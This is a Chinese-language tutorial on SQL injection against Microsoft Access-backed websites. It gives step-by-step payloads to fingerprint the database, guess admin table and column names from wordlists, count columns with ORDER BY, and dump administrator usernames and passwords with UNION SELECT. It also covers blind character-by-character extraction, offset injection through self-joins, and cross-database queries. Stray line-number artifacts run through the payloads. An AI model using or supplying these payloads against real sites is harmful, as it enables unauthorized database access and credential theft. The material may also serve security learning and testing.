ACCESS注入篇
本课可以用到的工具sqlmap、明小子等。
判断数据库类型
如果查询到有msysobjects表,则证明是Access数据库:1
2
3and exists (select * from msysobjects)>0
```
       如果查询到有sysobjects表,则证明是sqlserver数据库:
and exists (select * from sysobjects)>01
2### 判断表
       例如判断数据库有没有admin表:
and exists (select * from admin)1
2       查询是否有admin表,如果有则返回正常,如果没有则返回报错。
常见的表名有:
admin_user
admin_msg
admin_usr
admin_login
username
manager
manag
msg_user
msg_longin
useradmin
user_msg
userlogin
users
member1
2### 判断数据库列名
       例如在admin表里有admin列或者password列:
and exists (select admin from admin)或and exists (select password from admin)1
2
3       判断admin表里面有没有admin列或password列。如果有,则返回正常,如果没有则返回报错。
**注意:以上select后面为列名,from后面为表名**
       管理员表下常见的管理员列名:
admin
admin_user
username
users
usr
user_login
user_name
name
loginname
admin_login
msg_name1
       管理员表下常见的密码列名:
password
pwd
pass
user_pass1
2### 判断字段长度
       判断字节长度即判断某个表的列数使用order by命令查询,如:
order by 101
2
3
4       表示某个表有10列,如果大于10列,则返回报错,如果小于等于10则返回正常。
### 爆出密码
#### 判断非数字行,即用户名密码行
       根据order by语句爆出列长度以后,执行以下代码会返回一些数字,这些数字表示非数字类型的列。即用户名密码或者日期列。如下:
union select 1,2,3,4,5,6,7 from admin1
2       即表示判断admin表里面的非数字列,例如返回2、3、5这三个数字,表示第2、3、5列为非数值类型列。
如果有多个用户名密码的情况下可以加where id=*(*表示行)例如:
union select 1,2,3,4,5,6,7 from admin where id = 2 表示判断admin表中2行的非数字列。1
2#### 爆出密码
       根据爆出来的非数字列判断用户名密码:
union select 1,admin,password,4,5,6,7 from admin1
2### 番外篇
#### 判断管理员用户名长度
and (select len(admin) from admin)=51
2       判断admin表里admin列里面用户名长度为5
#### 判断管理员密码长度
and(select len(password) from admin)>=51
2       判断admin表里password密码长度大于等于5
#### 根据ASCII表来判断用户名和密码
and (select top 1 asc(mid(admin,1,1)) from admin)=971
       意思是查询admin表里面admin列里面的第一列的第一个字符是不是等于ASCII表里的97(97是ASCII里的a)
and (select top 1 asc(mid(admin,2,1)) from admin)=971
       意思是查询admin表里面admin列里面的第一列的第二个字符是不是等于于ASCII表里的97(97是ASCII里的a)
and (select top 1 asc(mid(password,2,1)) from admin)=501
2
3       意思是查询admin表里面password列里面的第一列的第一个字符是不是等于于ASCII表里的50(50是ASCII里的2)
### 偏移注入
       当遇到得到表名以后,得不到列名就可以用偏移注入。如下:
union select 1,2,3,4,5,6,7,8,9,10,12,13,14,15,16 from admin1
       当遇到如上这种列比较多的,在带入列名,无法爆出数据的情况下进行如下操作:
union select 1,2,3,4,5,6,7,8,9,10,12,13,14,15, from admin1
       用星号代替列,往前推,一直推到爆出数据为止,如果推完只爆出一个数据,用户名或者密码的情况下,再执行以下数据:
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin1
       如果到13爆出了数据,那么带入公式:
16-13=31
       那么就在爆出数据的列-3继续便宜如下:
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)1
       如果执行以上偏移还未爆出,那就继续往前推6位继续执行如下:
union select 1,2,3,4,5,6,7,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)1
2#### 垮库查询
       前提是知道另外一个网站的绝对路径,例如:
union select 1,2,3,4,5,6,7 from [D:\www\xydata\xycms.mdb].admin`
由于内容实在是太多,还有图片,需要往图床上面放,我就不一一写出来了,直接丢链接吧!有兴趣的同学自己去下载一下:下载链接,提取密码:jueq